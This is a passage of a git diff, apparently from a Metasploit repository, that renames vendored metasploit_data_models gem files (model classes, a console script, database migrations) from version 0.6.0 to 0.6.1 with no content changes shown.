a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_action.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_action.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_action.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_action.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_arch.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_arch.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_arch.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_arch.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_author.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_author.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_author.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_author.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_mixin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_mixin.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_mixin.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_mixin.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_platform.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_platform.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_platform.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_platform.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/module_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/nexpose_console.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/nexpose_console.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/nexpose_console.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/nexpose_console.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/note.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/note.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/note.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/note.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/profile.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/profile.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/profile.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/profile.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/report.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/report.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report_template.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/report_template.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report_template.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/report_template.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/route.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/route.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/route.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/route.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/service.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/service.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/service.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/service.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/session.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/session.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session_event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/session_event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session_event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/session_event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/task.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/task.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/task.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/task.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/user.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/user.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/vuln.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/vuln.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/vuln_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/vuln_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/vuln_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/vuln_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/vuln_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/vuln_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_form.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/web_form.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_form.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/web_form.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_page.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/web_page.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_page.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/web_page.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_site.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/web_site.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_site.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/web_site.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/web_vuln.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/web_vuln.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_request.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/wmap_request.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_request.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/wmap_request.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/wmap_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/wmap_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/workspace.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/workspace.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/workspace.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/workspace.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/bin/mdm_console b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/bin/mdm_console similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/bin/mdm_console rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/bin/mdm_console diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/console_db.yml b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/console_db.yml similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/console_db.yml rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/console_db.yml diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/000_create_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/000_create_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/000_create_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/000_create_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/001_add_wmap_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/001_add_wmap_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/001_add_wmap_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/001_add_wmap_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/002_add_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/002_add_workspaces.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/002_add_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/002_add_workspaces.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/003_move_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/003_move_notes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/003_move_notes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/003_move_notes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/004_add_events_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/004_add_events_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/004_add_events_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/004_add_events_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/005_expand_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/005_expand_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/005_expand_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/005_expand_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/006_add_timestamps.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/006_add_timestamps.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/006_add_timestamps.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/006_add_timestamps.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/007_add_loots.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/007_add_loots.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/007_add_loots.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/007_add_loots.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/008_create_users.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/008_create_users.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/008_create_users.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/008_create_users.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/009_add_loots_ctype.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/009_add_loots_ctype.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/009_add_loots_ctype.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/009_add_loots_ctype.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/010_add_alert_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/010_add_alert_fields.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/010_add_alert_fields.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/010_add_alert_fields.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/011_add_reports.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/011_add_reports.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/011_add_reports.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/011_add_reports.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/012_add_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/012_add_tasks.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/012_add_tasks.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/012_add_tasks.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/013_add_tasks_result.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/013_add_tasks_result.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/013_add_tasks_result.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/013_add_tasks_result.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/014_add_loots_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/014_add_loots_fields.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/014_add_loots_fields.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/014_add_loots_fields.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/015_rename_user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/015_rename_user.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/015_rename_user.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/015_rename_user.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/016_add_host_purpose.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/016_add_host_purpose.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/016_add_host_purpose.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/016_add_host_purpose.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/017_expand_info2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/017_expand_info2.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/017_expand_info2.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/017_expand_info2.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/018_add_workspace_user_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/018_add_workspace_user_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/018_add_workspace_user_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/018_add_workspace_user_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/019_add_workspace_desc.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/019_add_workspace_desc.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/019_add_workspace_desc.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/019_add_workspace_desc.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/020_add_user_preferences.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/020_add_user_preferences.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/020_add_user_preferences.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/020_add_user_preferences.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/021_standardize_info_and_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/021_standardize_info_and_data.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/021_standardize_info_and_data.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/021_standardize_info_and_data.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/022_enlarge_event_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/022_enlarge_event_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/022_enlarge_event_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/022_enlarge_event_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/023_add_report_downloaded_at.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/023_add_report_downloaded_at.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/023_add_report_downloaded_at.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/023_add_report_downloaded_at.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/024_convert_service_info_to_text.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/024_convert_service_info_to_text.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/024_convert_service_info_to_text.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/024_convert_service_info_to_text.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/025_add_user_admin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/025_add_user_admin.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/025_add_user_admin.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/025_add_user_admin.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/026_add_creds_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/026_add_creds_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/026_add_creds_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/026_add_creds_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100819123300_migrate_cred_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100819123300_migrate_cred_data.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100819123300_migrate_cred_data.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100819123300_migrate_cred_data.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100824151500_add_exploited_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100824151500_add_exploited_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100824151500_add_exploited_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100824151500_add_exploited_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100908001428_add_owner_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100908001428_add_owner_to_workspaces.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100908001428_add_owner_to_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100908001428_add_owner_to_workspaces.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100911122000_add_report_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100911122000_add_report_templates.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100911122000_add_report_templates.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100911122000_add_report_templates.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916151530_require_admin_flag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100916151530_require_admin_flag.rb similarity index 100% rename from 